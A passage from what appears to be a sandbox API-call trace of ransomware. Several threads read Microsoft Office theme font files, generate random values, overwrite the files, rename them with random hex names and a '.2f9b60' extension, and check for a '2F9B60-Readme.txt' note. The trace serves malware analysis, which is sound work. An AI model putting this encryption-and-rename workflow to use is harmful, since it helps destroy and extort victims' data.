(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c440) returned 1 [0122.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x202620c0 [0122.207] SetFilePointerEx (in: hFile=0x1810, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.207] WriteFile (in: hFile=0x1810, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3f3afb90, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x3f3afb90*=0x10c, lpOverlapped=0x0) returned 1 [0123.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0123.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0123.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860540 [0123.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860540) returned 1 [0123.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b860540 [0123.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8602d0 [0123.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8600c0 [0123.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8600c0) returned 1 [0123.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0123.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0123.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cda0670 [0123.011] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="57") returned 2 [0123.011] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="8c") returned 2 [0123.011] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="e2") returned 2 [0123.011] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="7c") returned 2 [0123.011] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="fe") returned 2 [0123.011] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="84") returned 2 [0123.011] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="6c") returned 2 [0123.011] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="6c") returned 2 [0123.011] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="ac") returned 2 [0123.011] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="94") returned 2 [0123.011] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="54") returned 2 [0123.011] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="61") returned 2 [0123.011] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="d3") returned 2 [0123.011] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="8b") returned 2 [0123.011] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="a7") returned 2 [0123.011] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="b9") returned 2 [0123.011] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="a9") returned 2 [0123.011] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="e9") returned 2 [0123.012] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="dd") returned 2 [0123.012] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="61") returned 2 [0123.012] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="e8") returned 2 [0123.012] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="4c") returned 2 [0123.012] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="f5") returned 2 [0123.012] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="3d") returned 2 [0123.012] sprintf (in: _Dest=0x1cda06a0, _Format="%c%c" | out: _Dest="0c") returned 2 [0123.012] sprintf (in: _Dest=0x1cda06a2, _Format="%c%c" | out: _Dest="c1") returned 2 [0123.012] RtlInitAnsiString (in: DestinationString=0x3f3afc08, SourceString="578ce27cfe846c6cac945461d38ba7b9a9e9dd61e84cf53d0cc1" | out: DestinationString="578ce27cfe846c6cac945461d38ba7b9a9e9dd61e84cf53d0cc1") [0123.012] RtlAnsiStringToUnicodeString (in: DestinationString=0x3f3afbd8, SourceString="578ce27cfe846c6cac945461d38ba7b9a9e9dd61e84cf53d0cc1", AllocateDestinationString=1 | out: DestinationString="578ce27cfe846c6cac945461d38ba7b9a9e9dd61e84cf53d0cc1") returned 0x0 [0123.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x20504190 [0123.012] wcscat (in: _Dest=0x106700, _Source="578ce27cfe846" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\578ce27cfe846") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\578ce27cfe846" [0123.012] wcscat (in: _Dest=0x106700, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\578ce27cfe846.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\578ce27cfe846.2f9b60" [0123.012] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\578ce27cfe846.2f9b60", NtPathName=0x3f3afbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\578ce27cfe846.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1b776a10 [0123.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776a10) returned 1 [0123.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecdd20) returned 1 [0123.301] NtQueryInformationFile (in: FileHandle=0x1810, IoStatusBlock=0x3f3afc18, FileInformation=0x3f3afc28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3f3afc18, FileInformation=0x3f3afc28) returned 0x0 [0123.301] NtSetInformationFile (FileHandle=0x1810, IoStatusBlock=0x3f3afc18, FileInformation=0x3f3afc28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106700) returned 1 [0123.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504190) returned 1 [0123.320] FlushFileBuffers (hFile=0x1810) returned 1 [0123.325] CloseHandle (hObject=0x1810) returned 1 [0123.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1cd64d10 [0123.326] wcscpy (in: _Dest=0x1cd64d10, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0123.326] wcscat (in: _Dest=0x1cd64d10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0123.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0123.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64d10) returned 1 [0123.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac580) returned 1 Thread: id = 1412 os_tid = 0x1864 [0119.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml")) returned 0x20 [0119.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml", dwFileAttributes=0x20) returned 1 [0119.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17d4 [0119.581] GetFileSizeEx (in: hFile=0x17d4, lpFileSize=0x3f49f960 | out: lpFileSize=0x3f49f960*=3615) returned 1 [0119.581] SetFilePointerEx (in: hFile=0x17d4, liDistanceToMove=0xe1b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.581] ReadFile (in: hFile=0x17d4, lpBuffer=0x3f49f8e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3f49f928, lpOverlapped=0x0 | out: lpBuffer=0x3f49f8e0*, lpNumberOfBytesRead=0x3f49f928*=0x4, lpOverlapped=0x0) returned 1 [0119.632] SetFilePointerEx (in: hFile=0x17d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860c60 [0119.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860b40 [0119.632] NtQuerySystemTime (in: CurrentTime=0x3f49f820 | out: CurrentTime=0x3f49f820*=132462177250414000) returned 0x0 [0119.632] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x7ebf7e46 [0119.632] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x6dffe1d7 [0119.632] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x72eddacb [0119.632] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x14f6da3 [0119.633] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x53600b9c [0119.633] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x6effb876 [0119.633] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x1cabb97c [0119.633] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x44021e96 [0119.633] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x726c03e2 [0119.633] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x2fb6e2c1 [0119.633] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x33fecf40 [0119.633] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x62061370 [0119.633] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x6cc2073b [0119.633] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x671d0b27 [0119.633] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x25912bbb [0119.633] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0xc068a47 [0119.633] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x6d2c1bbc [0119.633] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x32bfe3d6 [0119.633] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x1a1f2c6 [0119.633] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x3d0ac7f3 [0119.633] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x7508ee0a [0119.633] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x2886c64b [0119.633] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x25b95821 [0119.633] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x57e62211 [0119.633] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x525645c9 [0119.633] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x78f55c86 [0119.633] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x21db1a3c [0119.633] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x58156d3c [0119.633] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x73290d96 [0119.633] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x702f593c [0119.633] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x44edcdea [0119.633] RtlRandomEx (in: Seed=0x3f49f810 | out: Seed=0x3f49f810) returned 0x37d9d92e [0119.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860030 [0119.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f190 [0119.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860420 [0119.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0119.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860b40) returned 1 [0119.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0119.641] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f190 [0119.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.642] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab100) returned 1 [0119.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2016a520 [0119.642] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20179560 [0119.642] ReadFile (in: hFile=0x17d4, lpBuffer=0x2016a520, nNumberOfBytesToRead=0xe1f, lpNumberOfBytesRead=0x3f49f810, lpOverlapped=0x0 | out: lpBuffer=0x2016a520*, lpNumberOfBytesRead=0x3f49f810*=0xe1f, lpOverlapped=0x0) returned 1 [0119.642] SetFilePointerEx (in: hFile=0x17d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.642] WriteFile (in: hFile=0x17d4, lpBuffer=0x20179560*, nNumberOfBytesToWrite=0xe1f, lpNumberOfBytesWritten=0x3f49f814, lpOverlapped=0x0 | out: lpBuffer=0x20179560*, lpNumberOfBytesWritten=0x3f49f814*=0xe1f, lpOverlapped=0x0) returned 1 [0152.750] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff70 [0152.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420522f0 [0152.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420522f0) returned 1 [0152.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20179560) returned 1 [0152.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2016a520) returned 1 [0152.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0152.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0152.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420522f0 [0152.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0152.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f190 [0152.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052320 [0152.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052320) returned 1 [0152.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052320 [0152.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052350 [0152.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052380 [0152.754] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052380) returned 1 [0152.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f190) returned 1 [0152.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0152.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x104) returned 0x1694d0 [0152.755] SetFilePointerEx (in: hFile=0x17d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0152.755] WriteFile (in: hFile=0x17d4, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3f49f930, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x3f49f930*=0x104, lpOverlapped=0x0) returned 1 [0161.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0161.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0161.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a48e0 [0161.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a48e0) returned 1 [0161.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x174b90 [0161.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a48e0 [0161.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4940 [0161.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4940) returned 1 [0161.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0161.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0161.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x423a4940 [0161.581] sprintf (in: _Dest=0x423a4940, _Format="%c%c" | out: _Dest="f5") returned 2 [0161.581] sprintf (in: _Dest=0x423a4942, _Format="%c%c" | out: _Dest="e4") returned 2 [0161.581] sprintf (in: _Dest=0x423a4944, _Format="%c%c" | out: _Dest="8f") returned 2 [0161.581] sprintf (in: _Dest=0x423a4946, _Format="%c%c" | out: _Dest="2c") returned 2 [0161.581] sprintf (in: _Dest=0x423a4948, _Format="%c%c" | out: _Dest="6f") returned 2 [0161.581] sprintf (in: _Dest=0x423a494a, _Format="%c%c" | out: _Dest="cf") returned 2 [0161.581] sprintf (in: _Dest=0x423a494c, _Format="%c%c" | out: _Dest="23") returned 2 [0161.581] sprintf (in: _Dest=0x423a494e, _Format="%c%c" | out: _Dest="d5") returned 2 [0161.581] sprintf (in: _Dest=0x423a4950, _Format="%c%c" | out: _Dest="90") returned 2 [0161.581] sprintf (in: _Dest=0x423a4952, _Format="%c%c" | out: _Dest="12") returned 2 [0161.581] sprintf (in: _Dest=0x423a4954, _Format="%c%c" | out: _Dest="8a") returned 2 [0161.581] sprintf (in: _Dest=0x423a4956, _Format="%c%c" | out: _Dest="e3") returned 2 [0161.581] sprintf (in: _Dest=0x423a4958, _Format="%c%c" | out: _Dest="71") returned 2 [0161.581] sprintf (in: _Dest=0x423a495a, _Format="%c%c" | out: _Dest="ec") returned 2 [0161.581] sprintf (in: _Dest=0x423a495c, _Format="%c%c" | out: _Dest="b3") returned 2 [0161.581] sprintf (in: _Dest=0x423a495e, _Format="%c%c" | out: _Dest="19") returned 2 [0161.581] sprintf (in: _Dest=0x423a4960, _Format="%c%c" | out: _Dest="8c") returned 2 [0161.582] sprintf (in: _Dest=0x423a4962, _Format="%c%c" | out: _Dest="fd") returned 2 [0161.582] RtlInitAnsiString (in: DestinationString=0x3f49f9a8, SourceString="f5e48f2c6fcf23d590128ae371ecb3198cfd" | out: DestinationString="f5e48f2c6fcf23d590128ae371ecb3198cfd") [0161.582] RtlAnsiStringToUnicodeString (in: DestinationString=0x3f49f978, SourceString="f5e48f2c6fcf23d590128ae371ecb3198cfd", AllocateDestinationString=1 | out: DestinationString="f5e48f2c6fcf23d590128ae371ecb3198cfd") returned 0x0 [0161.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd86130 [0161.582] RtlFreeAnsiString (AnsiString="f") [0161.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4940) returned 1 [0161.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x174b90) returned 1 [0161.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a48e0) returned 1 [0161.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1694d0) returned 1 [0161.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052320) returned 1 [0161.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052350) returned 1 [0161.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420522f0) returned 1 [0161.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff70) returned 1 [0161.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860c60) returned 1 [0161.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860030) returned 1 [0161.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860420) returned 1 [0161.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1ce11810 [0161.585] wcscat (in: _Dest=0x1ce11810, _Source="f5e48f2c6" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\f5e48f2c6") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\f5e48f2c6" [0161.585] wcscat (in: _Dest=0x1ce11810, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\f5e48f2c6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\f5e48f2c6.2f9b60" [0161.586] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\f5e48f2c6.2f9b60", NtPathName=0x3f49f950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\f5e48f2c6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x119a60 [0226.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119a60) returned 1 [0226.537] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1b3a0) returned 1 [0226.537] NtQueryInformationFile (in: FileHandle=0x17d4, IoStatusBlock=0x3f49f9b8, FileInformation=0x3f49f9c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3f49f9b8, FileInformation=0x3f49f9c8) returned 0x0 [0226.537] NtSetInformationFile (FileHandle=0x17d4, IoStatusBlock=0x3f49f9b8, FileInformation=0x3f49f9c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0227.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11810) returned 1 [0227.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86130) returned 1 [0227.024] FlushFileBuffers (hFile=0x17d4) returned 1 [0227.025] CloseHandle (hObject=0x17d4) returned 1 [0234.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1ce16d40 [0234.858] wcscpy (in: _Dest=0x1ce16d40, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0234.858] wcscat (in: _Dest=0x1ce16d40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0234.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0234.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce16d40) returned 1 [0234.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bb90) returned 1 Thread: id = 1413 os_tid = 0x1868 [0119.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml")) returned 0x20 [0119.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml", dwFileAttributes=0x20) returned 1 [0119.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1818 [0119.603] GetFileSizeEx (in: hFile=0x1818, lpFileSize=0x3db8f980 | out: lpFileSize=0x3db8f980*=3599) returned 1 [0119.603] SetFilePointerEx (in: hFile=0x1818, liDistanceToMove=0xe0b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.603] ReadFile (in: hFile=0x1818, lpBuffer=0x3db8f900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3db8f948, lpOverlapped=0x0 | out: lpBuffer=0x3db8f900*, lpNumberOfBytesRead=0x3db8f948*=0x4, lpOverlapped=0x0) returned 1 [0119.683] SetFilePointerEx (in: hFile=0x1818, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab100 [0119.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8600f0 [0119.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604e0 [0119.683] NtQuerySystemTime (in: CurrentTime=0x3db8f840 | out: CurrentTime=0x3db8f840*=132462177251038000) returned 0x0 [0119.683] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0xd47951f [0119.683] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0x78388686 [0119.683] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0x75b381b1 [0119.683] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 0x24571a50 [0119.683] RtlRandomEx (in: Seed=0x3db8f830 | out: Seed=0x3db8f830) returned 